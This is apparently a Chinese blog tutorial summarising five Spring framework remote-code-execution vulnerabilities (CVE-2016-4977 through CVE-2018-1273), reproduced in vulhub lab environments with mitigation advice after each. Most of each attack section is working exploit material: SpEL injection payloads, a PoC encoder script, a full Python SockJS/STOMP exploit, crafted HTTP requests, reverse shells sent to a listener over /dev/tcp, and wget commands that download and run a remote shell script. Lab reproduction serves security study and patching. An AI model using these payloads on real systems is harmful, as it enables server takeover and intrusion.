Spring框架漏洞总结 Spring框架漏洞总结

Spring框架漏洞总结

Spring简介

Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。

2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL (Spring Expression Language)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。

因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。

SpEL是什么

SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。

SpEL原理如下∶

  1. 表达式:可以认为就是传入的字符串内容

  2. 解析器︰将字符串解析为表达式内容

  3. 上下文:表达式对象执行的环境

  4. 根对象和活动上下文对象∶根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象

参考链接:http://rui0.cn/archives/1043

Spring框架特征

1.看web应用程序的ico小图标,是一个小绿叶子

image-20210830095238341

2.看报错页面,如果默认报错页面没有修复,那就是长这样

image-20210830095328827

3.wappalyzer插件识别

image-20210830095732532

4.f12看X-Application-Context头

image-20210830100142967

本地环境搭建

安装IDEA

官网下载安装包 :https://www.jetbrains.com/idea/download/#section=windows

这里选择得商业版,免费试用30天

image-20210829150233085

安装目录默认

image-20210829150403552

报错不用管,点击确认,一直默认下一步

image-20210829150438103

双击下图图标

image-20210829150723616

image-20210829150816862

image-20210829150911247

image-20210829150927153

image-20210829152308559

image-20210829152347602

image-20210829152445317

选择Download SDK

image-20210829152515464

选择jdk1.8

image-20210829160411559

image-20210829160428309

image-20210829153041039

点next

image-20210829160213693

点击Spring Web

image-20210829160555701

等待安装

image-20210829161052043

点击右上角启动,可以看见默认端口8080

成功访问,部署成功

image-20210829162247520

这里复现的环境搭建均采用p牛的vulhub靶场环境。

Spring渗透总结

1.Spring Security OAuth2 远程命令执行(CVE-2016-4977)

漏洞简介

Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块。Spring Security OAuth2处理认证请求的时候如果使用了whitelabel views,response_type参数值会被当做Spring SpEL来执行,攻击者可以在被授权的情况下通过构造response_type值也就是通过构造恶意SpEL表达式可以触发远程代码执行漏洞。故是在需要知道账号密码的前提下才可以利用该漏洞。

影响版本

2.0.0-2.0.9
1.0.0-1.0.5

漏洞验证

启动漏洞

image-20210829172348141

访问url

输入下面的漏洞测试url:

http://192.168.173.144:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test

访问后会弹窗,输入用户名和密码 admin:admin即可,返回结果可以看到值被成功计算为2*2=4

页面返回执行了我们输入的SpEL表达式,这里可以看作是SpEL表达式的注入,既然表达式被执行了,我们可以考虑代码注入的可能性。

漏洞复现

这里看一下vulhub提供的poc,poc地址: https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py

#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 
poc += ')}'
print(poc)

image-20210829191932279

可以看出该poc对输入的命令进行了变形,将命令的每个字符串转化为ASCII码配合tostring()方法并且用concat拼接传入exec执行。

反弹shell:

对于poc需要先进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符,重定向,空格,管道符都有可能造成错误,具体可以参考这篇文章:https://blog.th3wind.xyz/posts/238052750.html)

在线生成有效载荷的网站:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.173.133/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

image-20210829191700097

生成poc

${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}

image-20210829191855899

修改后的url:

http://192.168.173.144:8080/oauth/authorize?response_type=${poc的位置}&client_id=acme&scope=openid&redirect_uri=http://test
http://192.168.173.144:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test

监听端口:

image-20210829192032257

执行url,看见如图的显示页面说明已成功执行:

image-20210829195130626

反弹shell成功。

安全防护

1.使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。
2.使用2.0.x版本的用户升级到2.0.10以及更高的版本

因为对java不是很熟,所以没有对底层原理进行分析,但是发现一篇文章分析的还是蛮好的,大家可以看一下:https://blog.knownsec.com/2016/10/spring-security-oauth-rce/

2.Spring Web Flow框架远程代码执行(CVE-2017-4971)

漏洞简介

Spring Web Flow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本

Spring WebFlow 2.4.0 - 2.4.4

触发条件

  1. MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)

  2. flow view对象中设置BinderConfiguration对象为空

漏洞复现

开启漏洞

image-20210829203741029

image-20210829203746016

点击login

image-20210829203825199

可以看见这里有很多默认的用户名密码,随便选一组登录系统

image-20210829203850907

然后访问id为1的酒店地址:

http://192.168.173.144:8080/hotels/1

image-20210829204104888

点击预订按钮”Book Hotel",填写相关信息后点击“ Process”(从这一步,其实WebFlow就正式开始了)︰

image-20210829204232794

随便输入一些内容后,我们点击Proceed然后会跳转到Confirm页面(Credit Card为16位):

点击confirm时进行抓包

image-20210829204401161

image-20210829204731522

反弹shell的poc:

原POC:
&_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.173.133/1234 0>&1")).start()=vulhub

URL编码后
&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.173.133/1234 0>%261")).start()=vulhub

image-20210829210014751

exp扩展

1、向里面写入文件

&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/zcc")

image-20210829211034218

image-20210829211128104

2、使用wget下载远程bash脚本

&_T(java.lang.Runtime).getRuntime().exec("/usr/bin/wget -qO /tmp/shell http://x.x.x.x:xxxx/shell")

3、执行上一步下载的脚本

&_T(java.lang.Runtime).getRuntime().exec("/bin/bash /tmp/shell")

安全防护

官方已经发布了新版本,请受影响的用户及时更新升级至最新的版本来防护该漏洞。官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为。参考链接:

https://pivotal.io/security/cve-2017-4971

对于这个漏洞的底层分析文章,大家可以看看这篇:https://paper.seebug.org/322/

3.Spring Data Rest远程命令执行命令(CVE-2017-8046)

漏洞简介

Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码。

影响版本

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3

漏洞验证

开启漏洞环境:

image-20210829212225888

image-20210829212307609

看到 json格式的返回值,说明这是一个 Restful风格的API服务器。

访问如下url,如果有下面回显,则说明存在该漏洞:

http://192.168.173.144:8080/customers/1

image-20210829212445500

漏洞复现

bp抓包,并且使用PATCH请求来修改:

image-20210829213412995

创建文件touch /tmp/zcc的poc,需要对其进行十进制编码:

",".join(map(str, (map(ord,"touch /tmp/zcc"))))

'116,111,117,99,104,32,47,116,109,112,47,122,99,99'

image-20210829213806596

将该编码写入poc,放入请求包,注意json格式的poc上面留一个空行,Content-Type: 为application/json-patch+json

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 201

[
	{ "op": "replace", 
	  "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,122,99,99}))/lastname",
	  "value": "vulhub" 
	}
]

成功写入:

image-20210829214306623

反弹shell的poc,先进行base64编码:

bash -i >& /dev/tcp/192.168.173.1234/8888 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}


98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,51,77,121,52,120,77,122,77,118,77,84,73,122,78,67,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

image-20210829214750387

image-20210829214929261

写入poc,成功反弹。

安全防护

升级到以下最新版本:
* Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
* Spring Boot 2.0.0.M4
* Spring Data release train Kay-RC3

对于该漏洞底层原理分析的文章可以参考这一篇:https://blog.spoock.com/2018/05/22/cve-2017-8046/

4.Spring Messaging远程命令执行突破(CVE-2018-1270)

漏洞简介

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

影响版本

Spring Framework 5.0 - 5.0.5
Spring Framework 4.3 - 4.3.15
已不支持的旧版本仍然受影响

漏洞验证

开启漏洞

image-20210829215634535

image-20210829215721412

访问该页面:

http://192.168.173.144:8080/gs-guide-websocket

image-20210829220006857

漏洞复现

对反弹shell的命令base64编码:

bash -i >& /dev/tcp/192.168.173.133/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

创建exp.py,自行修改ip和命令语句:

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
    
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
        
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://192.168.173.144:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

image-20210829220649484

image-20210829220854352

成功反弹。

安全防护

1.请升级Spring框架到最新版本(5.0.5、4.3.15及以上版本);

2.如果你在用 SpringBoot,请升级到最新版本(2.0.1及以上版本);

对于底层原理进行分析的文章可以参考这一篇:https://paper.seebug.org/562/

5.Spring Data Commons远程命令执行漏洞(CVE-2018-1273)

漏洞简介

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

影响版本

Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10(Ingalls SR10)
Spring Data Commons 2.0 – 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5(Kay SR5)
官方已经不支持的旧版本

漏洞验证

启动漏洞

image-20210829221718475

image-20210829221818001

漏洞复现

访问该url,bp抓包

http://192.168.173.144:8080/users

image-20210829221903184

image-20210829222003810

加上poc的请求包如下:

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.173.144:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Origin: http://192.168.173.144:8080
Connection: close
Referer: http://192.168.173.144:8080/users
Cookie: JSESSIONID=F773DEBD35D866E11D6753373652513C
Upgrade-Insecure-Requests: 1


username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

image-20210829222834353

image-20210829222911752

成功写入。

反弹shell:

写一个shell.sh文件,开启http服务:

image-20210829223228384

image-20210829223331882

下载执行sh脚本:

/usr/bin/wget -qO /tmp/shell.sh http://192.168.173.131/shell.sh

image-20210829223703018

image-20210829223713495

image-20210829223749707

执行shell.sh

/bin/bash /tmp/shell.sh

image-20210829223919181

成功反弹。

安全防护

  1. 受影响版本的用户应该应用以下缓解措施:

  • 2.0.x用户应该升级到2.0.6

  • 1.13.x用户应该升级到1.13.11

  • 旧版本应升级到受支持的分支

已解决此问题的发布版本包括:

  • Spring Data REST 2.6.11(Ingalls SR11)

  • Spring Data REST 3.0.6(Kay SR6)

  • Spring Boot 1.5.11

  • Spring Boot 2.0.1

  1. 使用Spring Security提供的身份验证和授权,限定特定访问。

对于该漏洞的底层原理分析可以看该文章:https://www.cnblogs.com/hac425/p/9656747.html

评论 0

sitemap